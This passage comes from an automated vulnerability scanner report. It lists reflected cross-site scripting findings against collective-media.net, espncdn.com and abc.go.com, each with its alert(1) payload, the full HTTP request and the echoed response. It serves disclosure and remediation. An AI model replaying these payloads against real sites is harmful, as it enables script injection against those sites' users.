The value of the k request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 522e1'-alert(1)-'148a505a1cf was submitted in the k parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/energy_resources;k=522e1'-alert(1)-'148a505a1cf HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/manta/mads/generic.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; apnx=1; nadp=1; blue=1; qcdp=1; dc=dc-sea

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Sat, 26 Feb 2011 00:20:32 GMT
Connection: close
Content-Length: 7273

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
a.createAndAttachAd("manta-99230702_1298679632","http://ad.doubleclick.net/adj/manta.comp/energy_resources;net=manta;u=,manta-99230702_1298679632,11e4f07c0988ac7,none,cm.rdst12-cm.rdst11-cm.polit_l;;k=522e1'-alert(1)-'148a505a1cf;contx=none;dc=w;btg=cm.rdst12;btg=cm.rdst11;btg=cm.polit_l?","0","0",false);</scr'+'ipt>
...[SNIP]...

3.18. http://a.collective-media.net/cmadj/manta.comp/energy_resources [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c2b1'-alert(1)-'8f009f52149 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/energy_resources?5c2b1'-alert(1)-'8f009f52149=1 HTTP/1.1
Host: a.collective-media.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc-sea; blue=1; dp2=1; apnx=1; rdst12=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; cli=11e4f07c0988ac7; nadp=1; rdst11=1; targ=1; qcdp=1;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Date: Sat, 26 Feb 2011 01:50:07 GMT
Content-Length: 7270
Connection: close

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("manta-12346973_1298685007","http://ad.doubleclick.net//manta.comp/energy_resources?5c2b1'-alert(1)-'8f009f52149=1;net=manta;u=,manta-12346973_1298685007,11e4f07c0988ac7,none,cm.rdst12-cm.rdst11-cm.polit_l;;contx=none;dc=w;btg=cm.rdst12;btg=cm.rdst11;btg=cm.polit_l?","0","0",false);</scr'+'ipt>
...[SNIP]...

3.19. http://a.collective-media.net/cmadj/manta.comp/energy_resources [pos parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

The value of the pos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc135'-alert(1)-'315ca7472f3 was submitted in the pos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/energy_resources;pos=cc135'-alert(1)-'315ca7472f3 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Sat, 26 Feb 2011 00:19:22 GMT
Connection: close
Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:22 GMT
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:22 GMT
Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:22 GMT
Content-Length: 7790

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
createAndAttachAd("manta-14301451_1298679562","http://ad.doubleclick.net/adj/manta.comp/energy_resources;net=manta;u=,manta-14301451_1298679562,11e4f07c0988ac7,none,cm.rdst12-cm.rdst11-cm.polit_l;;pos=cc135'-alert(1)-'315ca7472f3;contx=none;dc=w;btg=cm.rdst12;btg=cm.rdst11;btg=cm.polit_l?","0","0",false);</scr'+'ipt>
...[SNIP]...

3.20. http://a.espncdn.com/combiner/c [css parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.espncdn.com
Path:   /combiner/c

Issue detail

The value of the css request parameter is copied into the HTML document as plain text between tags. The payload ddc15<script>alert(1)</script>ddb75005989 was submitted in the css parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /combiner/c?css=photo.galleries.r3.cssddc15<script>alert(1)</script>ddb75005989 HTTP/1.1
Host: a.espncdn.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/css
Last-Modified: Wed, 23 Feb 2011 21:42:44 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: EGW04
Cache-Expires: Sun, 24 Apr 2011 21:42:44 GMT
Vary: Accept-Encoding
Cache-Control: max-age=5184000
Date: Wed, 23 Feb 2011 21:42:43 GMT
Connection: close
Content-Length: 245


/** ERROR: photo.galleries.r3.cssddc15<script>alert(1)</script>ddb75005989: Server returned HTTP response code: 400 for URL: http://espnsource01c.starwave.com:9081/prod/styles/photo.galleries.r3.cssddc15<script>
...[SNIP]...

3.21. http://a.espncdn.com/combiner/c [js parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.espncdn.com
Path:   /combiner/c

Issue detail

The value of the js request parameter is copied into the HTML document as plain text between tags. The payload ab3e3<script>alert(1)</script>86514540ca5 was submitted in the js parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /combiner/c?js=analytics/sOmni.js,analytics/analytics.js,analytics/zf.js,analytics/externalnielsen.jsab3e3<script>alert(1)</script>86514540ca5&xhr=1 HTTP/1.1
Host: a.espncdn.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 23 Feb 2011 21:43:18 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: EGW05
Cache-Expires: Sun, 24 Apr 2011 21:43:19 GMT
Vary: Accept-Encoding
Cache-Control: max-age=5184000
Date: Wed, 23 Feb 2011 21:43:17 GMT
Connection: close
Content-Length: 53472

if(typeof (s_account)!="undefined"&&s_account!=""){if(s_account=="wdgespuk"||s_account=="wdgespstar"||s_account=="wdgesp360europe"||s_account=="wdgesp360prodigymexico"||s_account=="wdgesp360terrabrazi
...[SNIP]...
<img src='"+A+"' style='display:none' />");});}
/** ERROR: analytics/externalnielsen.jsab3e3<script>alert(1)</script>86514540ca5: Server returned HTTP response code: 400 for URL: http://espnsource01c.starwave.com:9081/prod/scripts/analytics/externalnielsen.jsab3e3<script>
...[SNIP]...

3.22. http://a.espncdn.com/combiner/c/201012011221 [js parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.espncdn.com
Path:   /combiner/c/201012011221

Issue detail

The value of the js request parameter is copied into the HTML document as plain text between tags. The payload c8e3d<script>alert(1)</script>23f304513d3 was submitted in the js parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /combiner/c/201012011221?js=c8e3d<script>alert(1)</script>23f304513d3&development=true HTTP/1.1
Host: a.espncdn.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 23 Feb 2011 21:43:14 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: EGW01
Cache-Expires: Sun, 24 Apr 2011 21:43:15 GMT
Vary: Accept-Encoding
Cache-Control: max-age=5184000
Date: Wed, 23 Feb 2011 21:43:14 GMT
Connection: close
Content-Length: 201


/** ERROR: c8e3d<script>alert(1)</script>23f304513d3: Server returned HTTP response code: 400 for URL: http://espnsource01c.starwave.com:9081/dev/scripts/c8e3d<script>alert(1)</script>23f304513d3 **/
...[SNIP]...

3.23. http://a.espncdn.com/combiner/c/201012011221 [js parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.espncdn.com
Path:   /combiner/c/201012011221

Issue detail

The value of the js request parameter is copied into a JavaScript inline comment. The payload d6911*/alert(1)//17464b787b5 was submitted in the js parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /combiner/c/201012011221?js=jquery-1.4.2.1.js,plugins/json2.r3.js,plugins/teacrypt.js,plugins/jquery.metadata.js,plugins/jquery.bgiframe.js,plugins/jquery.easing.1.3.js,plugins/jquery.hoverIntent.js,plugins/jquery.jcarousel.js,plugins/jquery.tinysort.r3.js,plugins/jquery.pubsub.r5.js,ui/1.8.2/jquery.ui.core.js,ui/1.8.2/jquery.ui.widget.js,ui/1.8.2/jquery.ui.tabs.js,ui/1.8.2/jquery.ui.accordion.js,plugins/ba-debug-0.4.js,espn.l10n.r8.js,swfobject/2.2/swfobject.js,flashObjWrapper.r7.js,plugins/jquery.colorbox.1.3.14.js,plugins/jquery.ba-postmessage.js,espn.core.duo.r49.js,espn.mem.r15.js,espn.mem.r16.js,stub.search.r3.js,espn.nav.mega.r30.js,espn.storage.r6.js,espn.p13n.r9.js,espn.video.r33a.js,registration/staticLogin.r10-14.js,espn.universal.overlay.r1.1.js,espn.insider.r5.js,espn.espn360.stub.r9.js,espn.myHeadlines.stub.r12.js,espn.myfaves.stub.r3.js,espn.scoreboard.r6.js,espn.partner.videobox.r3.js,%2Fforesee_v3%2Fforesee-alive.jsd6911*/alert(1)//17464b787b5&development=true HTTP/1.1
Host: a.espncdn.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 23 Feb 2011 21:43:17 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: EGW04
Cache-Expires: Sun, 24 Apr 2011 21:43:17 GMT
Vary: Accept-Encoding
Cache-Control: max-age=5183999
Date: Wed, 23 Feb 2011 21:43:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 327815

/*
* jQuery JavaScript Library v1.4.2
* http://jquery.com/
*
* Copyright 2010, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizz
...[SNIP]...
B.length;D++){var H=B[D].split("=");if(!H||H.length!=2){continue;}var C=unescape(H[0]);var G=unescape(H[1]);G=G.replace(/\+/g," ");F[C]=G;}return F;};})(jQuery);
/** ERROR: /foresee_v3/foresee-alive.jsd6911*/alert(1)//17464b787b5: http://espnsource01c.starwave.com:9081/dev/scripts/foresee_v3/foresee-alive.jsd6911*/alert(1)//17464b787b5 **/

3.24. http://abc.go.com/watch [aa parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the aa request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 27e7b"-alert(1)-"850c9a5da4a was submitted in the aa parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F27e7b"-alert(1)-"850c9a5da4a&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:25 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:25 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:25 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F27e7b"-alert(1)-"850c9a5da4a&partner=&pc=&pl=&brandid=001","cookieName" : "abc_vp_breadcrumb" });
</script>
...[SNIP]...

3.25. http://abc.go.com/watch [aa parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the aa request parameter is copied into an HTML comment. The payload 992fa--><script>alert(1)</script>cc4d89a2688 was submitted in the aa parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F992fa--><script>alert(1)</script>cc4d89a2688&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:27 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:27 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:27 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F992fa--><script>alert(1)</script>cc4d89a2688&partner=&pc=&pl=&brandid=001 -->
...[SNIP]...

3.26. http://abc.go.com/watch [aff parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the aff request parameter is copied into an HTML comment. The payload b4702--><script>alert(1)</script>cf5748d6729 was submitted in the aff parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komob4702--><script>alert(1)</script>cf5748d6729&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:17 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:17 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:17 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
<!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?i=1&aff=komob4702--><script>alert(1)</script>cf5748d6729&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~R
...[SNIP]...

3.27. http://abc.go.com/watch [aff parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the aff request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3315a"-alert(1)-"b50500fdfde was submitted in the aff parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo3315a"-alert(1)-"b50500fdfde&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:15 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:15 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc03
Cache-Expires: Wed, 23 Feb 2011 23:12:15 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
>
   var crumbs = new abcdm.abc.vp2.ui.breadcrumb.Breadcrumb('breadcrumb');
   crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?i=1&aff=komo3315a"-alert(1)-"b50500fdfde&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~R
...[SNIP]...

3.28. http://abc.go.com/watch [al parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the al request parameter is copied into an HTML comment. The payload 62285--><script>alert(1)</script>0ee6960a174 was submitted in the al parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png62285--><script>alert(1)</script>0ee6960a174&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:22 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:22 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc03
Cache-Expires: Wed, 23 Feb 2011 23:12:22 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
<!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png62285--><script>alert(1)</script>0ee6960a174&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=&brandid=001 -->
...[SNIP]...

3.29. http://abc.go.com/watch [al parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the al request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload add94"-alert(1)-"da4ce7e27d2 was submitted in the al parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.pngadd94"-alert(1)-"da4ce7e27d2&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:21 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:21 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc02
Cache-Expires: Wed, 23 Feb 2011 23:12:20 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

